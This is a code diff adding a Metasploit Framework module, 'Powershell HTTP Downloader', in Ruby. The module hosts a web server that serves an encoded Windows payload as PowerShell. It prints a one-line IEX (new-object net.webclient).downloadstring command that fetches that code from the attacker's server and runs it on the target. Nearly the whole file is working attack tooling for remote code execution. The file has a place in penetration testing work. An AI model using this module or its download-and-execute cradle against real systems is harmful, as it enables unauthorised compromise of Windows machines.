|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpServer |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Powershell HTTP Downloader', |
| 18 | + 'Description' => %q{ |
| 19 | + Quickly fires up a web server that provides the payload in powershell |
| 20 | + for one line execution |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', |
| 26 | + 'Chris Campbell <>' #Inspiration n.b. no relation! |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] |
| 31 | + ], |
| 32 | + 'Platform' => 'win', |
| 33 | + 'Targets' => |
| 34 | + [ |
| 35 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 36 | + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] |
| 37 | + ], |
| 38 | + 'DefaultTarget' => 0, |
| 39 | + 'DisclosureDate' => 'Jul 19 2013')) |
| 40 | + end |
| 41 | + |
| 42 | + def on_request_uri(cli, request) |
| 43 | + print_status("Delivering Payload") |
| 44 | + data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) |
| 45 | + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) |
| 46 | + return |
| 47 | + |
| 48 | + end |
| 49 | + |
| 50 | + def exploit |
| 51 | + datastore['URIPATH'] ||= Rex::Text.rand_text_alpha(6) |
| 52 | + url = (datastore['SSL'] ? "https://" : "http://") |
| 53 | + url += (datastore['SRVHOST'] == '0.0.0.0') ? datastore['LHOST'] : datastore['SRVHOST'] |
| 54 | + url += ":" + datastore['SRVPORT'].to_s + "/" + datastore['URIPATH'] |
| 55 | + print_good("Run the following command in powershell:") |
| 56 | + print_line |
| 57 | + print_line("IEX (new-object net.webclient).downloadstring(\"#{url}\");") |
| 58 | + print_line |
| 59 | + super |
| 60 | + end |
| 61 | +end |
0 commit comments